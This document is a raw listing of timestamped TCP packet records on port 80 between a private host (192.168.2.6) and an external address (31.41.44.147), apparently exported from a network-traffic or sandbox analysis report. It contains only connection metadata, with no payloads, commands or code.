May 6, 2024 02:53:04.288058043 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.288335085 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.288388014 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.288420916 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.288456917 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.288541079 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.288578033 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.289453983 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.289467096 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.289491892 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.289505005 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.293745041 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.293803930 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.330218077 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.330245972 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.330312967 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.330369949 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.330394030 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.330410004 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.330435038 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.331854105 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.331867933 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.331893921 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.331908941 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.331988096 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.332026005 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.332387924 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.332427979 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.370672941 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.370775938 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.372503996 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.372541904 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.372648954 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.372687101 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.372840881 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.372854948 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.372878075 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.372894049 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.374284029 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.374320984 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.374439001 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.374453068 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.374474049 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.374504089 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.374512911 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.374550104 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.375034094 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.375071049 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.414839029 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.414897919 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.414907932 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.414947033 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.415040970 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.415079117 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.416642904 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.416677952 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.416713953 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.416750908 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.421277046 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.421317101 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:34.417614937 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:34.417817116 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:34.417854071 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:34.493653059 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:34.677414894 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:34.748537064 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:34.748647928 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:34.748999119 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.047497034 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.103935003 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.104001045 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.104113102 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.104113102 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.191178083 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.191224098 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.191260099 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.191281080 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.235519886 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.235609055 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.235613108 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.235799074 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.320290089 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.320349932 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.320384026 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.320429087 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.320434093 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.320442915 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.320472002 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.320482969 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.358618021 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.358679056 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.358691931 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.358722925 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.358778954 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.358829021 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.358856916 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.358906984 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.446849108 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.446863890 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.446911097 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.446929932 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.446930885 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.446969032 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.446969986 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.447012901 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.490319014 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.490338087 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.490375042 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.490410089 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.490638971 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.490652084 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.490686893 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.490706921 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.574984074 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.575001955 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.575015068 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.575027943 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.575107098 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.575154066 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.575169086 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.575182915 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.575213909 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.575236082 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.575272083 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.575284958 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.575314045 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.575335979 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.614114046 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.614212036 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.614233017 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.614254951 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.614255905 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.614267111 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.614289045 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.614294052 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.614301920 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.614314079 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.614315033 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.614326000 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.614332914 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.614357948 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.614418983 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.701704979 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.701802969 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.701827049 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.701869011 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.701972008 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.701983929 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.701994896 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.702006102 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.702018023 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.702030897 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.702032089 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.702073097 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.745202065 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.745218992 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.745287895 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.745330095 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.745376110 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.745532990 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.745547056 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.745579958 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.745712042 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.745726109 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.745738983 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.745762110 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.745780945 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.830451012 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.830524921 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.830533981 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.830545902 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.830574989 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.830588102 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.830590010 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.830615044 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.830657005 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.830672979 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.830718040 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.830729008 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.830741882 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.830775023 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.830806017 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.830852032 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.830857992 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.830869913 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.830890894 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.830904007 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.830909014 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.830909014 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.830921888 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.830935001 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.830935955 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.830950022 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.830981016 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.869242907 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.869261026 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.869297981 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.869323969 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.869539022 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.869551897 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.869564056 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.869575977 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.869587898 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.869600058 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.869611979 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.869611979 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.869625092 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.869637012 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.869640112 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.869649887 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.869661093 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.869662046 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.869674921 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.869685888 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.869697094 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.869698048 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.869718075 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.869735003 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.869919062 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.956453085 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.956469059 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.956480026 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.956497908 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.956670046 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.956674099 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.956681967 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.956692934 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.956711054 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.956748009 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.956748962 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.956760883 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.956764936 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.956773043 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.956784964 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.956795931 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.956798077 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.956815004 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.956840038 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.956845045 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.956864119 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.956876993 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.956882000 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.956911087 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.956921101 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:35.999916077 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.999927998 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:35.999979973 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.000005960 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.000026941 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.000039101 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.000051022 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.000058889 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.000092030 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.000226021 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.000272989 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.000276089 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.000318050 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.000327110 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.000339031 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.000349998 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.000361919 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.000372887 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.000375032 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.000386000 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.000397921 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.000402927 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.000437021 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.000437021 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.000498056 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.000540972 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.093218088 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.093231916 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.093321085 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.093341112 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.093355894 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.093369961 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.093380928 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.093381882 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.093393087 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.093405962 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.093411922 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.093430996 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.093444109 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.093445063 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.093455076 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.093471050 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.093501091 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.093538046 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.093549013 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.093558073 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.093569994 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.093581915 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.093590021 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.093610048 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.093641043 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.093641043 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.093653917 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.093666077 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.093687057 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.093700886 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.093703985 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.093734026 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.093758106 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.093770981 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.093782902 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.093795061 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.093806028 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.093806982 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.093823910 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.093828917 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.093842030 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.093849897 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.093867064 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.093878984 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.093879938 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.093889952 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.093902111 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.093908072 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.093914986 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.093934059 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.093960047 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.123874903 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.123943090 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.124078035 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.124090910 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.124106884 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.124131918 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.124156952 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.124280930 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.124294043 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.124326944 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.124344110 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.124458075 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.124469995 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.124504089 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.124511957 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.124516964 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.124541044 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.124571085 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.124582052 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.124598026 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.124610901 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.124623060 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.124627113 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.124635935 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.124639034 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.124660015 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.124682903 CEST	49720	80	192.168.2.6	31.41.44.147
